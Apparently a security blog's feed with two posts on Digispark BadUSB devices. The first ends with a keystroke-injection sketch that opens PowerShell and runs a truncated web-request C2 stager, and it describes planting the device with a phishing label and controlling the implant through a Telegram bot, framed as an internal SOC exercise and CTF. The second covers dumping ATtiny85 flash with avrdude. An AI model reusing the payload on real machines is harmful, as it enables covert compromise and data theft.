  DigiKeyboard.delay(500); // DELAY 500
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(2000); // DELAY 2000
  duckyString(key_ps, sizeof(key_ps)); // STRING powershell...
  DigiKeyboard.delay(500); // DELAY 500
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  duckyString(key_c2, sizeof(key_c2)); // STRING $h=iwr -useR('')...
  DigiKeyboard.delay(1000); // DELAY 1000
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(10000); // DELAY 10000
  duckyString(key_exit, sizeof(key_exit)); // STRING exit
  DigiKeyboard.delay(500); // DELAY 500
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(1000); // DELAY 1000
  duckyString(key_exit, sizeof(key_exit)); // STRING exit
  DigiKeyboard.delay(500); // DELAY 500
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER

  delay(2*hours);
}

Following the steps explained earlier, I compiled and flashed the final sketch, completing the setup with the extension USB cable and a new 3D-printed case with a phishy salaries_2024.xlsx label on it.

The following day at the office, I simply waited until everyone had gone home, stealthily plugged in the suspicious USB, and hoped everything worked as planned.

Additionally, I developed a Telegram bot to monitor the exfiltrated data and control the C2 implant.

Gamification

To improve the quality of the exercise, I organized a Capture The Flag (CTF) event for my team. With different challenges and hints, it’s easier to achieve the objectives and get more familiar with all the different tools and solutions of the SOC. After all, who doesn’t enjoy a good CTF?

Setting up everything was straightforward thanks to CTFd, ensuring a smooth and engaging event.

Final scoreboard:

Overall, it was a fun experience.

Conclusion

Despite initial setbacks and frustrations, thanks to being more stubborn than a mule, I finally created a functional BadUSB. And why not use it for something useful?

I enjoyed crafting each step of the payload and chaining them together. Thinking like an attacker can be very useful for the defense team, as it provides a broader perspective of the cybersecurity landscape. It also helps to improve the detections and response.

Creating the CTF was the perfect way to wrap everything up. It was not only fun but also a great learning experience.

But weren’t these articles about reversing a badusb? Where is the reversing? Well, now that we have a malicious USB stick, we can finally reverse it. But that will be in the next post.

Back to top ]]> hardware badusb digispark duckify CTF https://0xlibris.net/posts/reversing_badusb_2/ Tue, 16 Jul 2024 00:00:00 GMT How to safely investigate an unknown and potentially malicious USB device [1/3] https://0xlibris.net/posts/reversing_badusb_1/

Introduction

One day, I was playing around at the office with Flipper Zero’s “bad USB” mode. A colleague saw me and, while talking about USB sticks / ducks, he gave me one that was lost in a drawer. He thought I could give it a second life.

At first, I was skeptical about testing on any computer. I didn’t know its contents, and my standard paranoia level is a bit above normal. Reading this question on superuser also triggered me: How do I safely investigate a USB stick found in the parking lot at work?

Did I trust my collage? Absolutely, yes. Could I ask him about the contents or its origin? Of course, but an idea had already been implanted in my mind:

Is it possible to analyze the contents of a poor’s man rubber ducky without plugging in the USB and risking a possible infection?

Was this idea a clear sign to dive into low-level technical hell? Of course, but mentally, I had already fallen down the rabbit hole…

Previous knowledge

As I mentioned before, I had some experience experimenting with Flipper Zero. It’s so easy, plug and play, very skiddie.

I was already familiar with the original Rubber Ducky USB by Hak5 and its cheaper alternative, which I suspected my new USB stick might be.

A Rubber Ducky USB is a type of hardware-based hacking tool that looks and functions like a regular USB flash drive but can inject pre-programmed keystroke payloads into a computer when plugged in. It essentially acts as a keyboard and can execute a series of commands very quickly. These commands can range from harmless pranks to serious security breaches.

The USB Rubber Ducky uses a special scripting language called DuckyScript. The following example opens Notepad (on a Windows machine) and writes Hello World!.

REM This is a comment
DELAY 500
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 500
STRING Hello World!

The original Rubber Ducky USB was released around 2010 and used the Atmel AT32UC3B1256 microcontroller, a 32-bit AVR. Since then, it has evolved with more features like OS detection, defense evasion, and keystroke reflection.

I know, I’m so late to the party that I even had to search using the WayBackMachine.

Component identification

So what do we have here?

There is a USB device and a broken 3D-printed case. Very phishy.

Let’s take a closer look to identify the components of the device:

  • ATMEL20U TINY85 1804HRV -> Atmel’s ATtiny85 microcontroller with an 8-bit AVR CPU.
  • 78M05 A1718 -> 3-terminal linear voltage regulator designed to provide a stable 5V output.
  • S4 diode
  • A couple of LEDs
  • Tiny SMD resistors and capacitors
  • Missing component (???)

Searching for ATtiny85 + badusb instantly leads to Digispark.

Learning the basics

Before doing anything with the device, I had to learn a lot about electronics and hardware hacking. Not in the order presented here, but I’ve tried to summarize and explain the basics.

It’s very possible that I’m wrong on some things, so please have some mercy.

Digispark

The Digispark is a tiny, affordable microcontroller development board based on the ATtiny85. It was designed by Digistump and launched around 2012-2013. With its compact size, built-in USB connector, and low cost (usually between 1€ and 5€), it has become very popular among hobbyists, makers, and developers.

This small USB board is also perfect for implementing a Rubber Ducky clone. It can be programmed to mimic keyboard inputs and execute pre-defined scripts and commands when plugged into a computer, acting as a custom USB Human Interface Device (HID).

Unlike the Rubber Ducky, the Digispark doesn’t have an integrated SD card, so the payloads have to be flashed into memory instead. This fact confirms that my goal is still possible :)

The board I have seems like a copy of the original Digispark. Here we can see the differences:

At the time of writing this post, the Digispark documentation is no longer available. That makes my task harder and funnier. Web Archive of Digispark’s wiki

The board has very few components, and the most interesting part is the ATtiny85. Here is the original schematic of the Digispark board:

ATTiny85

The brain of the Digispark is the ATTiny85. It is a microcontroller that belongs to the family of AVR microcontrollers, developed by Atmel since 1996 (acquired by Microchip Technology in 2016). AVR is a modified Harvard architecture 8-bit RISC single-chip microcontroller. The ATTiny85 was released in 2005.

This is the ATtiny85 Datasheet, and it has been the main and most reliable source of information about the microcontroller. The 200+ pages are hard to read but have been extremely useful for understanding how it works in detail.

The ATtiny microprocessor does not have hardware USB support, and the Digispark board doesn’t have a dedicated chip to handle USB. So, the USB connection goes directly to the ATtiny chip, which lacks built-in USB support. The V-USB software implementation is used to provide a software emulation of the hardware that the chip lacks. I discovered and loved the term bit banging, and how unreliable communications can be. I am amazed that this even works. But there is more.

The chip does not include UART for serial protocol either, so that also has to be bit banged. However, the ATtiny85 has Universal Serial Interface (USI), a multipurpose hardware communication module that can be used to implement SPI or I2C serial interfaces.

Note

While writing the article and documenting several months later, I found the YouTube video Why a Digispark should not be your first Arduino. Thank God I didn’t find that before, because I would have dismissed my project entirely. The video is pretty good and very well explained, but truly depressing.

Conclusion of the video:

“If you have microcontroller programming experience generally, or are really curious about bit-banging USB, or have a high pain tolerance then, you know, knock yourself out.”

Yep, that’s exactly what happened to me.

Let’s continue with my ignorance.

In order to program the Digispark, it uses a bootloader with software emulations to take advantage of the built-in USB connector. But what is a bootloader?

Bootloaders

According to the Digispark wiki:

The bootloader is the code that is pre-programmed on your Digispark and allows it to act as a USB device so that it can be programmed by the Arduino IDE.

In more general terms, a bootloader is a small program that runs when a microcontroller or computer is powered on (before the reset interrupt). Its primary function is to initialize the hardware and load the main operating system or application software into memory.

In the context of microcontrollers like the Digispark, the bootloader enables the device to be self-programmed via USB without needing an external dedicated hardware programmer. It essentially acts as an intermediary that facilitates firmware updates and custom code uploads.

Different AVR bootloaders:

  • The original Digispark came with the micronucleus version 1.02
  • Recent versions of micronucleus (V2.6)
  • micronucleus fork
  • Arduino bootloaders
  • USB bootloaders based on V-USB

These bootloaders take up between 1/3 and 1/5 of the total Flash memory, and our ATtiny only has 8KB, so the amount of free space available for the actual code is very limited.

At this point, my main hypothesis was that my device contained a specific bootloader and custom software for emulating a USB keyboard. Is it possible to extract the payload that is executed when the USB is plugged in? If I finally get a memory dump of the Flash, how do I know which bootloader is flashed? Where should it be located? What does it look like? Too many questions.

AVR

Let’s continue learning the basics.

AVR (Alf (Egil Bogen) and Vegard (Wollan)’s RISC processor) is a family of microcontrollers with a modified Harvard architecture 8-bit RISC single-chip. It is used in many different things, from industrial PLCs and home electronics to IoT devices.

(modified) Hardvard architecture definition:

The Harvard architecture is a computer architecture with separate storage and signal pathways for instructions and data.

The modified Harvard architecture is a variation of the Harvard computer architecture that, unlike the pure Harvard architecture, allows memory that contains instructions to be accessed as data.

Reduced Instruction Set Computer (RISC) definition:

Reduced Instruction Set Computer (RISC) is a computer architecture designed to simplify the individual instructions given to the computer to accomplish tasks.

Compared to the instructions given to a Complex Instruction Set Computer (CISC), a RISC computer might require more instructions (more code) in order to accomplish a task because the individual instructions are written in simpler code.

Ok, there is a lot to learn here. The Instruction Set Manual (Atmel 2016 or Microchip 2020) will be very useful later, but let’s focus on our ATtiny device.

Memory Map

In section 5. AVR Memories of the datasheet we can find the different memories of the ATtiny85.

Flash Program Memory

The ATtiny85 contains 8K bytes of reprogrammable Flash memory, which is where the program code is stored. Since all AVR instructions are 16 or 32 bits wide, the Flash is organized as 4096 x 16.

SRAM Data Memory

The first 32 locations of the data memory are the Register File, the next 64 locations are the standard I/O memory (I/O registers for accessing “hardware”), and the last 512 locations address the internal data SRAM for run-time variables.

EEPROM Data Memory

The ATtiny85 contains 512 bytes of data EEPROM memory. It is organized as a separate data space, in which single bytes can be read and written. This memory can be used by user code to store data that needs to be preserved when the MCU is turned off.

Lock Bits and Fuses

The lock/fuses form a fourth memory area available for programming. Just a few bytes set internal hardware configurations and define different features.

Fuse bit settings for the ATTiny85:

  • Low Fuse Byte (lfuse): Clock source selection, clock start-up time, clock output and clock divide.
  • High Fuse Byte (hfuse): Brown-out detection, preserve EEPROM through chip erase, watchdog timer, Enable Serial Program and Data Downloading, DebugWIRE, and External Reset pin functionality.
  • Extended Fuse Byte (efuse): Self-Programming mode.
  • Lockbit Fuse Preset (lock): Memory lock features for additional security.
Tip

Note that fuses are read as logical zero, “0”, when programmed. So “1” means unprogrammed and “0” programmed.

The website AVR Fuse Calculator is an amazing resource to understand the possible features of a wide variety of AVR chips. Another alternative with the lock bits is eleccelerator.com/fusecalc.

Dumping memory

Let’s be real, before doing all my research, I knew I didn’t want to plug in the USB directly, so I had already ordered an Integrated Circuit Clip.

Isn’t it cool to pinch a chip and read its secrets? Maybe this whole project was just an excuse to do that 😎.

So, I bought a SOIC8 Test Clip with a bunch of adapters and a cheap CH341A programmer, which is usually used to flash BIOS EEPROMs (?). I don’t know.

At that point, I was a bit overwhelmed and confused. A lot of the documentation was old, unmaintained, deprecated, discontinued, or just not working at all.

First attempt: CH341

The best article I found about using the CH341A to interact with the ATtiny was Flash the AVR Atmel ATtiny Chips with a Modified CH341A ISP Programmer by Eric Draken.

It had the same CH341A programmer pack as me, and was very well explained, so I followed it and tried to reproduce it myself.

The first thing the article says is:

The problem is that the CH341A is not designed for ATtiny chips, but for flashing motherboard BIOS chips.

Additionally, this programmer has another problem: the data lines are at 5V and could damage some chips. I found out that it’s a very disliked programmer in the hardware hacking community.

Great choice :D

Still, I decided to keep trying to use the programmer to dump the memory through SPI.

The SCK, MISO, MOSI and Reset (CS) pins are labeled on the ATtiny datasheet and need to be matched to the CH341A/B.

Warning

The voltage should be set to 3.3V. Shorten pins 1 and 2 with a jumper.

I used the tool chavrprog, an “AVR programmer based on the Chinese CH341A”.

As already mentioned in the article, the CH341A is not designed for this, and I had to use an unreliable breadboard connection. Even the cables were not the same color.

Once the connection seemed fine, we could finally dump something:

$ sudo ./chavrprog -d tiny85 -f
Device reported its revision [4.03]
AVR answered!
Signature read as 1e 93 b
Signature is correct
Fuses: low high ext
e1 dd fe

$ sudo ./chavrprog -d tiny85 -L
Device reported its revision [4.03]
AVR answered!
Signature read as 1e 93 b
Signature is correct
Lock byte: ff

$ sudo ./chavrprog -d tiny85 -r f ./dump_chavrprog.bin
Device reported its revision [4.03]
AVR answered!
Signature read as 1e 93 b
Signature is correct
Reading to ./dump_chavrprog.bin...

Summary of the fuse values:

Fuse Value Description
lfuse 0xe1 PPL Clock; Start-up time 1K CK + 64 ms
hfuse 0xdd Enable Serial Program and Data Downloading and Brown-out Detector at 2.7 V
efuse 0xfe Self Programming enabled
lock 0xff No memory lock features enabled

The progress was promising. The signature and the fuse bits seemed right, but the dump output didn’t make any sense. The dump was like that for all 8K bytes. The binwalk tool did not detect anything either, of course.

$ xxd dump_chavrprog.bin
00000000: bfcb 7f01 0202 0303 0404 0505 0606 0707  ................
00000010: 0808 0909 0a0a 0b0b 0c0c 0d0d 0e0e 0f0f  ................
00000020: 1010 1111 1212 1313 1414 1515 1616 1717  ................
00000030: 1818 1919 1a1a 1b1b 1c1c 1d1d 1e1e 1f1f  ................
00000040: 2020 2121 2222 2323 2424 2525 2626 2727    !!""##$$%%&&''
00000050: 2828 2929 2a2a 2b2b 2c2c 2d2d 2e2e 2f2f  (())**++,,--..//
00000060: 3030 3131 3232 3333 3434 3535 3636 3737  0011223344556677
00000070: 3838 3939 3a3a 3b3b 3c3c 3d3d 3e3e 3f3f  8899::;;<<==>>??
00000080: 4040 4141 4242 4343 4444 4545 4646 4747  @@AABBCCDDEEFFGG
00000090: 4848 4949 4a4a 4b4b 4c4c 4d4d 4e4e 4f4f  HHIIJJKKLLMMNNOO
000000a0: 5050 5151 5252 5353 5454 5555 5656 5757  PPQQRRSSTTUUVVWW
000000b0: 5858 5959 5a5a 5b5b 5c5c 5d5d 5e5e 5f5f  XXYYZZ[[\\]]^^__
000000c0: 6060 6161 6262 6363 6464 6565 6666 6767  ``aabbccddeeffgg
000000d0: 6868 6969 6a6a 6b6b 6c6c 6d6d 6e6e 6f6f  hhiijjkkllmmnnoo
000000e0: 7070 7171 7272 7373 7474 7575 7676 7777  ppqqrrssttuuvvww
000000f0: 7878 7979 7a7a 7b7b 7c7c 7d7d 7e7e 7f7f  xxyyzz{{||}}~~..
00000100: 8080 8181 8282 8383 8484 8585 8686 8787  ................
...
00001fc0: e0e0 e1e1 e2e2 e3e3 e4e4 e5c9 e6e6 e7e7  ................
00001fd0: e8e8 e9e9 eaea d6eb ecec eded eedc efef  ................
00001fe0: f0f0 f1f1 f2f2 f3f3 f4f4 f5f5 f6f6 f7f7  ................
00001ff0: f8f8 f9f9 fafa fbfb f8ff fdff feff ffff  ................

I even tried to solder a permanent programmer rig like the one in the article. Sorry for the poor soldering skills.

But I obtained the same results.

I also tried another tool, avrdude, a very popular program for downloading and uploading the on-chip memories of AVR microcontrollers.

sudo avrdude -v -c ch341a -p t85 -B 8MHz -U flash:r:dump_avrdude.bin

Some bits were off, but it was almost the same result. What am I doing wrong?

Second attempt: Arduino

Several weeks later, with renewed energy, I tried again using an Arduino UNO R3. That should have been my first choice instead of the CH341A, as it’s easier, better documented, more standard, and more reliable.

First, we have to turn the Arduino into an in-circuit programmer using the Arduino ISP bootloader. The official documentation is excellent, and there’s nothing more to add here. Just follow the instructions.

According to the Arduino reference, the SPI pins are 10 (SS/CS), 11 (COPI/MOSI), 12 (CIPO/MISO), and 13 (SCK).

Note

I found that MISO/MOSI are now referred to as CIPO/COPI. Great initiative! A Resolution to Redefine SPI Signal Names

Connecting the board…

…and reading with avrdude

Checking at the fuse values again:

$ sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:r:-:h -U hfuse:r:-:h -U efuse:r:-:h -U lock:r:-:h

And dumping the memory:

$ sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:r:dump_arduino.bin
...
avrdude: AVR device initialized and ready to accept instructions
avrdude: device signature = 0x1e930b (probably t85)

avrdude: processing -U flash:r:dump_arduino.bin:r
avrdude: reading flash memory ...
Reading | ################################################## | 100% 5.77 s 
avrdude: writing output file dump_arduino.bin

But once again, I still got the same similar results.

$ xxd dump_arduino.bin
00000000: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000010: ffff ffff ffff ffff ffff 0d0d 0e0e 0f0f  ................
00000020: 1010 1111 1212 1313 1414 1515 1616 1717  ................
00000030: 1818 1919 1a1a 1b1b 1c1c 1d1d 1e1e 1f1f  ................
00000040: 2020 2121 2222 2323 2424 2525 2626 2727    !!""##$$%%&&''
00000050: 2828 2929 2a2a 2b2b 2c2c 2d2d 2e2e 2f2f  (())**++,,--..//
00000060: 3030 3131 3232 3333 3434 3535 3636 3737  0011223344556677
00000070: 3838 3939 3a3a 3b3b 3c3c 3d3d 3e3e 3f3f  8899::;;<<==>>??
00000080: 4040 4141 4242 4343 4444 4545 4646 4747  @@AABBCCDDEEFFGG
00000090: 4848 4949 4a4a 4b4b 4c4c 4d4d 4e4e 4f4f  HHIIJJKKLLMMNNOO
000000a0: 5050 5151 5252 5353 5454 5555 5656 5757  PPQQRRSSTTUUVVWW
000000b0: 5858 5959 5a5a 5b5b 5c5c 5d5d 5e5e 5f5f  XXYYZZ[[\\]]^^__
000000c0: 6060 6161 6262 6363 6464 6565 6666 6767  ``aabbccddeeffgg
000000d0: 6868 6969 6a6a 6b6b 6c6c 6d6d 6e6e 6f6f  hhiijjkkllmmnnoo
000000e0: 7070 7171 7272 7373 7474 7575 7676 7777  ppqqrrssttuuvvww
000000f0: 7878 7979 7a7a 7b7b 7c7c 7d7d 7e7e 7f7f  xxyyzz{{||}}~~..
00000100: 8080 8181 8282 8383 8484 8585 8686 8787  ................
00000110: 8888 8989 8a8a 8b8b 8c8c 8d8d 8e8e 8f8f  ................
00000120: 9090 9191 9292 9393 9494 9595 9696 9797  ................
00000130: 9898 9999 9a9a 9b9b 9c9c 9d9d 9e9e 9f9f  ................
...

Conclusion (?)

Final conclusion: disappointment.

After failing miserably so many times, I finally gave up.

My main hypothesis is that the sequential data in the hexdumps might be a leftover from production tests, but I am not sure at all and couldn’t find anything related to that.

So, in the end, with a lot of frustration, I decided to forget about the original data and try something myself. But it’s better to explain that in another post…

Back to top ]]> reversing hardware badusb digispark attiny85 avr https://0xlibris.net/posts/reversing_badusb_1/ Mon, 08 Jul 2024 00:00:00 GMT